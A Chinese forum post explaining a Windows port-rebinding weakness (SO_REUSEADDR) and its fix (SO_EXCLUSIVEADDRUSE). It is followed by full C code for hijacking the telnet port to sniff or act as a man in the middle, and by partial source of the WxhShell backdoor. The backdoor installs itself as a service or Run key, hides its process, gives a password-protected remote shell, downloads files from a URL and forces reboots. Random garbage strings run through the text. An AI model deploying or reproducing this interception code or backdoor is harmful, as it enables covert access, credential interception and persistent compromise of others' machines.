社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16097阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hW~UJ/$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uT=5zu  
MOytxl:R  
  saddr.sin_family = AF_INET; ^R :zma  
"E4CQL'U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T#:b  
F.@|-wq&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p1.3)=T  
X$~T*l0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p<mBC2!%  
{wk#n.c  
  这意味着什么?意味着可以进行如下的攻击: owyQFk  
lqO>Q1_{K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A@Zqh<,Ud  
M+j*5wNy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8N |K   
GpO*As_2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FI$ -."F  
B\aVE|~PB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b5.]}>]t  
R?#=^$7U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |+[Y_j  
$*:$-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w/PE)xA  
nWK7*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VV 54$a  
,h/l-#KS  
  #include f)Y~F/[$P  
  #include :AQ9-&i/a-  
  #include 0`v-pL0|  
  #include    #Jp|Cb<qx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n{{"+;oR  
  int main() r XBC M  
  { +M#}(hK  
  WORD wVersionRequested; A@:U|)+4  
  DWORD ret; OZz!8-|wE  
  WSADATA wsaData; ^B}q@/KV  
  BOOL val; %<p/s;eu  
  SOCKADDR_IN saddr; ^wwS`vPb  
  SOCKADDR_IN scaddr; `PI*\t0  
  int err; d.Ccc/1-  
  SOCKET s; Wi,)a{  
  SOCKET sc; G^.tAO5:f  
  int caddsize; >lyE@S sA  
  HANDLE mt; -eD]gm  
  DWORD tid;   }J-e:FUF#  
  wVersionRequested = MAKEWORD( 2, 2 ); 1_;{1O+B  
  err = WSAStartup( wVersionRequested, &wsaData ); *(5T?p[7  
  if ( err != 0 ) { D#`>p  
  printf("error!WSAStartup failed!\n"); 0%q H=do6  
  return -1; se]&)%p[  
  } f+1'Ah0'E  
  saddr.sin_family = AF_INET; p*T[(\8{n  
   E="uDHw+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EDh-pK  
9HPwl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9%"\s2T  
  saddr.sin_port = htons(23); {Xr 9]g`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `ueOb  
  { je3Qq1  
  printf("error!socket failed!\n"); tJ8:S@E3,  
  return -1; $b7@S`5  
  } })?-)fFD  
  val = TRUE; @[f$MRp\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3` D['  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N_Zd.VnY  
  { ,Jn` qvmi  
  printf("error!setsockopt failed!\n"); 4M6[5RAW{  
  return -1; w-NTw2x,&  
  } Tdz#,]Q   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; knpdECq&k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~v:IgS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ufw[Ei$I:  
s5Wb iOF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zKaj<Og  
  { bC) <K/Q9  
  ret=GetLastError(); rce._w }  
  printf("error!bind failed!\n"); a"t~ K  
  return -1; 4%_xT o  
  } .!i`YT*jF  
  listen(s,2); wa`c3PQGu  
  while(1) >p;&AaXkoG  
  { ;KEie@Ry  
  caddsize = sizeof(scaddr); k\dPF@~Hvl  
  //接受连接请求 rO{?.#~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8Z "f"  
  if(sc!=INVALID_SOCKET) _V0%JE'  
  { x%[NK[^&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hsYE&Np_Q  
  if(mt==NULL) .=d40m  
  { !#*#jixo  
  printf("Thread Creat Failed!\n"); 0_Elxc  
  break; /iAhGY  
  } $ e,r>tgD  
  } j+q)  
  CloseHandle(mt); B%k C>J  
  } ` vFDO$K  
  closesocket(s); AGjjhbGB  
  WSACleanup(); 4sBvW  
  return 0; E $W0HZ'  
  }   .)p%|A#^  
  DWORD WINAPI ClientThread(LPVOID lpParam) K)+]as  
  { ~t$ng l$  
  SOCKET ss = (SOCKET)lpParam; {{>,c}O /  
  SOCKET sc; f4F%\ "  
  unsigned char buf[4096]; n6M#Xc'JA  
  SOCKADDR_IN saddr;  s_+.xIZ  
  long num; 3c(mZ   
  DWORD val; Br42Qo2"T>  
  DWORD ret; VN\VTSZh?\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V\e1NS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^,5%fl  
  saddr.sin_family = AF_INET; #`K{vj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ue@W@pj  
  saddr.sin_port = htons(23); jt9- v-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >ke.ZZV?  
  { oR,zr  
  printf("error!socket failed!\n"); _iEnS4$A8  
  return -1; ;volBfv  
  } }; M@JMu,  
  val = 100; rwio>4=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $/@  L  
  { !y>up+cRjl  
  ret = GetLastError(); `g)  
  return -1; B*Om\I  
  } vW!O("\7K<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W,H=K##6<  
  { K=}Eupn=  
  ret = GetLastError(); v&d'ABeT  
  return -1; 2mMi=pv9  
  } :PY6J}:&#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1CSGG'J]E  
  { ]\oT({$6B  
  printf("error!socket connect failed!\n"); 1;i|GXY:h  
  closesocket(sc); G -K{  
  closesocket(ss); ^;9l3P{  
  return -1; =n_z`I  
  } mW+5I-~  
  while(1) XzqB=iX  
  { YktZXc?iI<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x>tm[k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KsK]y,^Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;3xi.^=B  
  num = recv(ss,buf,4096,0); gy~2LY!}  
  if(num>0) 11Qi _T\  
  send(sc,buf,num,0); pzUr9  
  else if(num==0) .X"&k O>G  
  break; I&gd"F _v}  
  num = recv(sc,buf,4096,0); .O(9\3q\  
  if(num>0) 1LhZmv  
  send(ss,buf,num,0); h(J$-SUs  
  else if(num==0) ?D_iib7  
  break; o:"(\$  
  } }bdoJ5  
  closesocket(ss); J=(i0A  
  closesocket(sc); m,62'  
  return 0 ; uudd'L  
  } J7%rPJ  
6gO(  8  
GO@<?>K  
========================================================== U>bIQk"4  
'irwecd8  
下边附上一个代码,,WXhSHELL ` "-P g5  
skTa IGRL  
========================================================== r$'.$k\  
:A:7^jrhi  
#include "stdafx.h" ,O:p`"3`0=  
1ah,Zth2  
#include <stdio.h> @ ,;h!vB*=  
#include <string.h> m|x_++3  
#include <windows.h> :hW(2=%  
#include <winsock2.h> tX@y ]"  
#include <winsvc.h> A #m_w*  
#include <urlmon.h> N;BuBm5K  
2_o\Wor#  
#pragma comment (lib, "Ws2_32.lib") ,aBy1K  
#pragma comment (lib, "urlmon.lib") {hN<Ot  
!7Qj8YmS  
#define MAX_USER   100 // 最大客户端连接数 IR:{{ (  
#define BUF_SOCK   200 // sock buffer I@O9bxR?  
#define KEY_BUFF   255 // 输入 buffer P?c V d2Y  
< 1m `  
#define REBOOT     0   // 重启 iC^G^~V+H  
#define SHUTDOWN   1   // 关机 tq@)J_7|  
Tz.okCo]z  
#define DEF_PORT   5000 // 监听端口 ?u".*!%  
;;XY&J  
#define REG_LEN     16   // 注册表键长度 bwP@}(K  
#define SVC_LEN     80   // NT服务名长度 [cZ/)tm  
) R5j?6}xF  
// 从dll定义API s'l|Ii  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \w1',"l`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?OoI6 3&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .f;@O qU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u*uHdV5  
dn?'06TD  
// wxhshell配置信息 i ps)-1  
struct WSCFG { p[At0Gc L  
  int ws_port;         // 监听端口 /L@o.[H  
  char ws_passstr[REG_LEN]; // 口令 re#]zc<  
  int ws_autoins;       // 安装标记, 1=yes 0=no =A{'57yP  
  char ws_regname[REG_LEN]; // 注册表键名 *)I^+zN  
  char ws_svcname[REG_LEN]; // 服务名 >+.GBf<E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UWS 91GN@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  iycceZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OT=1doDp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?MmQ'1N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )p>p3b g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q@XJ,e1A  
w'$>E4\   
}; (vzYgU,  
~&F|g2:  
// default Wxhshell configuration _y>drvg  
struct WSCFG wscfg={DEF_PORT, $FX$nY  
    "xuhuanlingzhe", yM9>)SE5`  
    1, ~UQ<8`@a  
    "Wxhshell", 5!$sQ@#}D  
    "Wxhshell", v,ni9DIu  
            "WxhShell Service", O7LJ-M  
    "Wrsky Windows CmdShell Service", -b8SaLak  
    "Please Input Your Password: ", VYh/ URU>  
  1, (4yXr|to}  
  "http://www.wrsky.com/wxhshell.exe", d7QUg 6=  
  "Wxhshell.exe" @(E6P;+{  
    }; &2 *  
@"/H er  
// 消息定义模块 '73}{" '  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t]]Ig  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !v9`oL26  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $^czqA-&  
char *msg_ws_ext="\n\rExit."; ][V`ym-e  
char *msg_ws_end="\n\rQuit."; 0c!^=(  
char *msg_ws_boot="\n\rReboot..."; g+QIhur  
char *msg_ws_poff="\n\rShutdown..."; `_ M+=*}  
char *msg_ws_down="\n\rSave to "; 4oryTckS  
Iw( wT_  
char *msg_ws_err="\n\rErr!"; Knb(MI6  
char *msg_ws_ok="\n\rOK!"; `v<S  
1{d;Ngx  
char ExeFile[MAX_PATH]; yI07E "9  
int nUser = 0; s~B)xYmyB'  
HANDLE handles[MAX_USER]; v UO[V$rx  
int OsIsNt; 5[)#3vY  
ya^8mp-  
SERVICE_STATUS       serviceStatus; P0OMu/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >t'A1`W  
O&;d82IA{  
// 函数声明 ./0wt+  
int Install(void); T@#?{eA  
int Uninstall(void); 8 *{jxN'M  
int DownloadFile(char *sURL, SOCKET wsh); :)B1|1  
int Boot(int flag); }0@@_Y]CC  
void HideProc(void); s?->2gxhx  
int GetOsVer(void); Y+vIU*O  
int Wxhshell(SOCKET wsl); +\&6Zbn  
void TalkWithClient(void *cs); ~=[5X,Ta  
int CmdShell(SOCKET sock); U#iW1jPE2  
int StartFromService(void); @]2aPs} }6  
int StartWxhshell(LPSTR lpCmdLine); 'o0o.&/=  
yIngenr$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6biR5&Y5U&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $9X?LGUz  
v JVh%l+  
// 数据结构和表定义 .v'`TD).6  
SERVICE_TABLE_ENTRY DispatchTable[] = NYG!\u\Rm  
{ :5T=y @  
{wscfg.ws_svcname, NTServiceMain}, ^*B@=  
{NULL, NULL} X !0 7QKs  
}; F  Qk  
mSZg;7DE3*  
// 自我安装 <u0}&/  
int Install(void) 2P@6Qe ?  
{ >JY\h1+ H  
  char svExeFile[MAX_PATH]; \b!E"I_^  
  HKEY key; gn~^Ajo  
  strcpy(svExeFile,ExeFile); Ki Kw,@  
}fo_"bs@  
// 如果是win9x系统,修改注册表设为自启动 B <qsa QG  
if(!OsIsNt) { L{)t(H>O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1x\k:2U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2g?q4e,  
  RegCloseKey(key); qR?}i,_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L,nb<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Bm|9A1  
  RegCloseKey(key); jA^Dk$  
  return 0; IqsUtWSp  
    } '!?t+L%gO  
  } 59W~bWHCP  
} t# y,9>6  
else {  6Bcr.`  
}oSgx  
// 如果是NT以上系统,安装为系统服务 $G }9iV7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h#Z,ud_  
if (schSCManager!=0) }m5()@Q}a  
{ P{_%p<:V  
  SC_HANDLE schService = CreateService M3F1O6=4j  
  ( K[/L!.Ag  
  schSCManager, E.ji;5  
  wscfg.ws_svcname, &N6[*7  
  wscfg.ws_svcdisp, /]-yZ0hX0O  
  SERVICE_ALL_ACCESS, uWFyI"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;PU'"MeB "  
  SERVICE_AUTO_START, h7TkMt[l  
  SERVICE_ERROR_NORMAL, +Ig%h[1a  
  svExeFile, ZUS5z+o  
  NULL, Fo;:GX,b  
  NULL, ,RY;dX-#  
  NULL, S+- $Ih`[  
  NULL, =h|cs{eT\2  
  NULL EEK!'[<,sE  
  ); pYr+n9)^  
  if (schService!=0) zks7wt]A  
  { t)?K@{ 9  
  CloseServiceHandle(schService); Y`4 LMK[]  
  CloseServiceHandle(schSCManager); ) )FLM^dj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &ynAB)  
  strcat(svExeFile,wscfg.ws_svcname); y0&vsoT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l`A&LQ[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4E2/?3D  
  RegCloseKey(key); |mbD q\U  
  return 0; /N<aN9Z<x,  
    } enQW;N1_M  
  } a8ouk7 G  
  CloseServiceHandle(schSCManager); %l a1-r~  
} c?}G;$  
} Wwg<- 9wAJ  
w{2CV\^>5  
return 1; %0/qb0N&  
} ^?sP[;8S!  
Q 3^h  
// 自我卸载 S^p^) fAmF  
int Uninstall(void) TBO g.y]  
{ r%iFsV_  
  HKEY key; M<NY`7$^  
6<QC|>p  
if(!OsIsNt) { t6mv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pnz:<V"Y(  
  RegDeleteValue(key,wscfg.ws_regname); :FH&#Eq~4  
  RegCloseKey(key); rWDD$4y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =jS$piw.  
  RegDeleteValue(key,wscfg.ws_regname); _O'!C!K6  
  RegCloseKey(key); { gs$pBu  
  return 0; f8N* [by  
  } "M /Cl|z  
} n=F rv*"Z  
} Mlo,F1'?>  
else { Xy!NBh7I  
V.qH&FJ=l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xf,A<j (o  
if (schSCManager!=0) C#yRop_d]o  
{ G `!A#As  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b6Z3(!] ]  
  if (schService!=0) |#< z\u }  
  { ` V [4  
  if(DeleteService(schService)!=0) { WG\ _eRj  
  CloseServiceHandle(schService); oA7DhU5n  
  CloseServiceHandle(schSCManager); 2@ 9?~?r  
  return 0; G/(,,T}eG  
  } %D:VcY9OC  
  CloseServiceHandle(schService); S$$SLy:P  
  } #Ktk["6  
  CloseServiceHandle(schSCManager); L97 ~ma  
} T`Up%5Dk  
} BN%cX 2j  
>JsVIfAF  
return 1; Z}\,rex  
} 6S_mfWsi  
3c,4 wyn  
// 从指定url下载文件 rTVv6:L  
int DownloadFile(char *sURL, SOCKET wsh) U!uJ)mm  
{ E0fMFG^P  
  HRESULT hr; !u8IZpf  
char seps[]= "/"; S5ai@Ks f  
char *token; $%"hhju  
char *file; N"G\ H<n  
char myURL[MAX_PATH]; r6 3l(  
char myFILE[MAX_PATH]; fpC":EX@r  
k+P3z&e  
strcpy(myURL,sURL); (hZNWQ0  
  token=strtok(myURL,seps); :):vB  
  while(token!=NULL) ,]:< l  
  { a:UkVK]MP  
    file=token; m;{HlDez  
  token=strtok(NULL,seps); !9KDdU  
  } W#NZnxOX"  
\#Jq%nd  
GetCurrentDirectory(MAX_PATH,myFILE); -=gI_wLbM  
strcat(myFILE, "\\"); %W7%]Z@j  
strcat(myFILE, file); \zFCph4  
  send(wsh,myFILE,strlen(myFILE),0); c*E7nc)u  
send(wsh,"...",3,0); \mJR^t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~1}fL 1~5  
  if(hr==S_OK) j$/#2%OVN  
return 0; $t}W,?   
else (}>)X]  
return 1; x4wTQ$*1  
wEX<[#a-  
} >Ovz;  
d-e/0F!  
// 系统电源模块 G!I5Er0pdy  
int Boot(int flag) G7+{O7  
{ z;?jKE p  
  HANDLE hToken; =>3,]hnep  
  TOKEN_PRIVILEGES tkp; gzSm=6Qw0  
Q%?%zuU  
  if(OsIsNt) { hFr+K1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <X4f2z{T{@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :{Z%dD  
    tkp.PrivilegeCount = 1; >yP> ]r+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8N9,HNBT$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _RxnB?  
if(flag==REBOOT) { SC4jKm2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MmvOyK NZF  
  return 0; o&@y^<UQ  
} <bg6k .s  
else { {Ke IYjE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +$(y2F7|u-  
  return 0; wA/!A$v(  
} uuD2O )v  
  } \I4Uj.'> \  
  else { W?E,"z  
if(flag==REBOOT) { %@)q=*=y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q#ksf h!D  
  return 0; \_R<Q?D+  
} aBY&]6^-  
else { k{F6WQ7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0Qvr g+  
  return 0; nFGX2|d  
} 4 Sk@ v  
} -]u>kjiIT  
@g;DA)!(  
return 1; s91[DT4  
} PZZPx<?N  
Rc4=zimr+  
// win9x进程隐藏模块 pxedj  
void HideProc(void) Ph.RWy")  
{ S[/udA   
G"u4]!$/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); US9aW)8  
  if ( hKernel != NULL ) t!J>853  
  { I/A%3i=H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g5Io=e@s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !- QB>`7$  
    FreeLibrary(hKernel); 0k?]~ f  
  } /`aPV"$M  
t4:/qy  
return; 7zE1>.  
} m zoH$@  
=X[?d/[  
// 获取操作系统版本 !XI9evJw  
int GetOsVer(void) s!D2s2b9e  
{ )y:))\>  
  OSVERSIONINFO winfo; R N@)nc_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bZfq?   
  GetVersionEx(&winfo); 4,X CbcC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G^SJhdO(Q  
  return 1; >rP[Xox'  
  else qyKR]%yzi  
  return 0; =+DhLH}8  
} P2s\f;Dwr  
mA,{E-T  
// 客户端句柄模块 f8r7 SFwUv  
int Wxhshell(SOCKET wsl) +/mCYI  
{ f!5w+6(  
  SOCKET wsh; BU>R<A5h  
  struct sockaddr_in client; 4o@:+T:1  
  DWORD myID; 811QpYA  
1?8M31  
  while(nUser<MAX_USER) hDUU_.q)D  
{ Y|hd!C-x  
  int nSize=sizeof(client); ks%;_~b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3&M0@/  
  if(wsh==INVALID_SOCKET) return 1; oPbziB8  
w7pX]<?R"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -}oH],C  
if(handles[nUser]==0) ]qq2VO<b  
  closesocket(wsh); .Sa=VC?EZ  
else 0Db=/sJ>  
  nUser++; 0ZI}eZA j  
  } y>u |3:z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7!Im|7Ty  
ttlMZLX{TJ  
  return 0; Y@MxKKuj  
} UM21Cfqex  
kqo4 v;r  
// 关闭 socket :2vuc!Pu  
void CloseIt(SOCKET wsh) j8^ #698X  
{ t*Z5{   
closesocket(wsh); j%Uoigi  
nUser--; ObreDv^,  
ExitThread(0); \{a5]G(4s  
} ;tA$ x!5]  
7u :kR;wk  
// 客户端请求句柄 0xCe6{86  
void TalkWithClient(void *cs) tr/.pw6  
{ ?GLCd7TP  
ph!h8@e  
  SOCKET wsh=(SOCKET)cs; 3tUn?; 9B  
  char pwd[SVC_LEN]; NzM,0q  
  char cmd[KEY_BUFF]; L|-|DOgw  
char chr[1]; 3X',L*f  
int i,j; Uy)pEEu  
(47la$CR  
  while (nUser < MAX_USER) { jMS>B)'TO  
('dbMH\O  
if(wscfg.ws_passstr) { Tl]yl$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P&tw!B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *a{WJbau]  
  //ZeroMemory(pwd,KEY_BUFF); /!p}H'jl  
      i=0; f;,*P,K  
  while(i<SVC_LEN) { 0blbf@XA  
[fvjvN`  
  // 设置超时 r5(efTgAd+  
  fd_set FdRead; s+&0Z3+  
  struct timeval TimeOut; sP% b? 6  
  FD_ZERO(&FdRead); TA:#K  
  FD_SET(wsh,&FdRead); gCVOm-*:  
  TimeOut.tv_sec=8; {'{9B  
  TimeOut.tv_usec=0; wHx_lsY;   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZIh)D[n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cdSgb3B0  
>+!Ef  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `@:TS)6X0  
  pwd=chr[0]; TpYh)=;k  
  if(chr[0]==0xd || chr[0]==0xa) { Pl`Nniy  
  pwd=0; UL%a^' hR  
  break; {9XNh[NbP  
  } "}-S%v`)z  
  i++; *1_Ef).  
    } ,zK E$  
;3bUgI}.J  
  // 如果是非法用户,关闭 socket 3QdCu<eBZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); em- <V5fb  
} H5UF r,t  
V(io!8,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rs"G8Q9Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n)35-?R/M  
'W("s  
while(1) { %yl17:h#  
A McZm0c`  
  ZeroMemory(cmd,KEY_BUFF); a <F2]H=J  
]-SJ";aU  
      // 自动支持客户端 telnet标准   "o_'q@.}  
  j=0; #<u;.'R  
  while(j<KEY_BUFF) { Ra H1aS(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :l iDoGDi  
  cmd[j]=chr[0]; &rX#A@=  
  if(chr[0]==0xa || chr[0]==0xd) { C[#C/@  
  cmd[j]=0; dq'f >S z}  
  break; ;mwnAO  
  } ?*7Mn`  
  j++; -g|ji.  
    } WA:r4V  
KU]o=\ak%  
  // 下载文件 P46Q3EE  
  if(strstr(cmd,"http://")) { SZR`uS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ###>0(n  
  if(DownloadFile(cmd,wsh)) ja&m-CFK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E'SDT*EI  
  else "J+4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O(D2F$VlL  
  } BIe:7cR%  
  else { 39F e#u  
=1,1}OucP  
    switch(cmd[0]) { ]bpgsW:Xu  
  yq^Ma  
  // 帮助 n%4/@M  
  case '?': { (-&d0a9N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hv\Dz*XTs0  
    break; Y}<%~z#.4  
  } YV@efPy}n  
  // 安装 B##X94aTT  
  case 'i': { Z;RUxe|<k  
    if(Install()) JAXD\StC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DGS,iRLnA  
    else AS;qJ)JfzQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |')PQ  
    break; ha 2=O  
    } %:;g|PC  
  // 卸载 g0B%3v  
  case 'r': { G|8>Q3D  
    if(Uninstall()) QgQ$>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YgS,5::SU  
    else <c!gg7@pm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v7`{6Pf_$  
    break; 4i+%~X@p  
    } N>]J$[j  
  // 显示 wxhshell 所在路径 f:J-X~T_f  
  case 'p': { #Q*V9kvU/H  
    char svExeFile[MAX_PATH]; qc\D=3 #Yp  
    strcpy(svExeFile,"\n\r"); O7uCTB+  
      strcat(svExeFile,ExeFile); uI%7jA~@  
        send(wsh,svExeFile,strlen(svExeFile),0); ('Uj|m}9  
    break; t*)mX2R,  
    } 257$ !  
  // 重启 7\R"RH-  
  case 'b': { .q[}e);)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n+YUG  
    if(Boot(REBOOT)) ecQ,DOX|b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 10OkrNQ  
    else { uKvdL "  
    closesocket(wsh); X;l/D},.  
    ExitThread(0); kLU-4W5t  
    } t4/ye>P &  
    break; gw[Eu>I  
